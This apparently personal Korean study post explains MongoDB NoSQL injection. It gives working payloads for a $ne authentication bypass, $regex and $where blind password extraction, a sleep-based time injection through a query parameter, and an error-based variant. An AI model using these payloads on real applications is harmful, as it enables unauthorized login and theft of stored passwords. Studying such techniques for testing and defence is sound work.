본문 바로가기

MongoDB_Injection

안쓰면 항상 까먹기때문에 정리해둔다.

 

비교연산 이용

 

$eq 지정된 값과 같은 값을 찾습니다. (equal)
$gt 지정된 값보다 큰 값을 찾습니다. (greater than)
$gte 지정된 값보다 크거나 같은 값을 찾습니다. (greater than equal)
$in 배열 안의 값들과 일치하는 값을 찾습니다. (in)
$lt 지정된 값보다 작은 값을 찾습니다. (less than)
$lte 지정된 값보다 작거나 같은 값을 찾습니다. (less than equal)
$ne 지정된 값과 같지 않은 값을 찾습니다. (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)
{"id": {"$ne":""}, "pw": {"$ne":""}}​

 다음처럼 $ne와 같은 비교연산자를 통해 모든결과를 출력가능(id가 ""가 아니고 pw가 ""가 아닌 모든 값이기 때문)

 

 

blind sql injection

> db.user.find({pw: {$regex: "^a"}})

다음과같이 $regex 정규식 연산자를 통해 하나씩 찾아가면된다.

 

> db.user.find({$where: "this.pw.substring(0,1)=='a'"})

필드안에선 where사용이 안되지만 다음처럼 사용이 가능하다.

 

time based injection

db.user.find({$where: `this.id=='${req.query.id}'&&this.pw=='${req.query.pw}'`});

다음과 같은 식이있을때

/?id=guest'&&this.pw.substring(0,1)=='a'&&sleep(5000)&&'1

다음을 id값으로 주면 id가 guest인것의 pw값을 substring을 이용해 분할하면서 and연산의 최적화를 이용한것으로 거짓일때는 뒤에구문을 넘어가지만 앞에것이 참이면 뒤에구문도 봐야하므로 sleep에 걸리게 되는것이 참

error based injection

db.user.find({$where: "this.id=='guest'&&this.pw.substring(0,1)=='a'&&asdf&&'1'&&this.pw=='${pw}'"});

최적화를 이용한것으로 this.upw.substring(0,1)=='a'가 거짓이면 and연산에서 뒤에구문은 볼필요도 없기때문에 넘어가지만 참일경우 뒤에구문도 봐야하기에 뒤의 asdf등등에서 에러가 발생